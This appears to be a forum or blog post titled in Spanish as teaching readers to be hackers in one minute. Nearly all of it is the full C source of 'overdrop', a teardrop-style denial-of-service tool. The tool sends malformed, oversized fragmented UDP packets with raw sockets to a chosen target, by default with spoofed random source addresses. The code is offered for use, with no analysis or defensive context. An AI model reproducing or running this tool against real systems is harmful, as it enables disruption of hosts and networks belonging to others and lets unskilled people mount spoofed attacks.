Os enseño a ser hackers en 1 minuto

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

#define IP_MF 0x2000
#define IPH 0x14
#define UDPH 0x8
#define PADDING 0x1c
#define MAGIC 0x3
#define COUNT 0xBEEF
#define FRAG2 0xFFFF

void usage(char *name) {
fprintf(stderr,"%s dst_ip [ -n how_many ] [ -s src_ip ]\n",name);
exit(0);
}

u_long name_resolve(char *host_name) {
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr=inet_addr(host_name))==-1) {
if (!(host_ent=gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr,(char *)&addr.s_addr,host_ent->h_length);
}
return (addr.s_addr);
}


void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt) {
u_char *packet=NULL,*p_ptr=NULL;
u_char byte;
struct sockaddr_in sin;
sin.sin_family=AF_INET;
sin.sin_port=src_prt;
sin.sin_addr.s_addr=dst_ip;
packet=(u_char *)malloc(IPH+UDPH+PADDING);
p_ptr=packet;
bzero((u_char *)p_ptr,IPH+UDPH+PADDING);
byte=0x45;
memcpy(p_ptr,&byte,sizeof(u_char));
p_ptr+=2;
*((u_short *)p_ptr)=htons(IPH+UDPH+PADDING);
p_ptr+=2;
*((u_short *)p_ptr)=htons(242);
p_ptr+=2;
*((u_short *)p_ptr)|=htons(IP_MF);
p_ptr+=2;
*((u_short *)p_ptr)=0x40;
byte=IPPROTO_UDP;
memcpy(p_ptr+1,&byte,sizeof(u_char));
p_ptr+=4;
*((u_long *)p_ptr)=src_ip;
p_ptr+=4;
*((u_long *)p_ptr)=dst_ip;
p_ptr+=4;
*((u_short *)p_ptr)=htons(src_prt);
p_ptr+=2;
*((u_short *)p_ptr)=htons(dst_prt);
p_ptr+=2;
*((u_short *)p_ptr)=htons(8+PADDING);
if (sendto(sock,packet,IPH+UDPH+PADDING,0,(struct sockaddr *)&sin,
sizeof(struct sockaddr))==-1) {
perror("\nsendto");
free(packet);
exit(1);
}
p_ptr=&packet[2];
*((u_short *)p_ptr)=htons(IPH+MAGIC+1);
p_ptr+=4;
*((u_short *)p_ptr)=htons(FRAG2);
if (sendto(sock,packet,IPH+MAGIC+1,0,(struct sockaddr *)&sin,
sizeof(struct sockaddr))==-1) {
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}


int main(int argc, char **argv) {
int one=1,count=0,i,rip_sock;
u_long src_ip=0,dst_ip=0;
u_short src_prt=0,dst_prt=0;
struct in_addr addr;
fprintf(stderr,"overdrop by lcamtuf [based on teardrop by route|daemon9]\n\n");
if((rip_sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) <0) {
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc < 2) usage(argv[0]);
if (!(dst_ip=name_resolve(argv[1]))) {
fprintf(stderr,"Can't resolve destination address.\n");
exit(1);
}
while ((i=getopt(argc,argv,"s:n:"))!=EOF) {
switch (i) {
case 'n':
count = atoi(optarg);
break;
case 's':
if (!(src_ip=name_resolve(optarg))) {
fprintf(stderr,"Can't resolve source address.\n");
exit(1);
}
break;
default:
usage(argv[0]);
break;
}
}
srandom((unsigned)(time((time_t)0)));
if (!count) count=COUNT;
fprintf(stderr,"Sending oversized packets:\nFrom: ");
if (!src_ip) fprintf(stderr," (random)"); else {
addr.s_addr = src_ip;
fprintf(stderr,"%15s",inet_ntoa(addr));
}
addr.s_addr = dst_ip;
fprintf(stderr,"\n To: %15s\n",inet_ntoa(addr));
fprintf(stderr," Amt: %5d\n",count);
fprintf(stderr,"[ ");
for (i=0;i<count;i++) {
if (!src_ip) send_frags(rip_sock,rand(),dst_ip,rand(),rand()); else
send_frags(rip_sock,src_ip,dst_ip,rand(),rand());
fprintf(stderr, "b00z ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}

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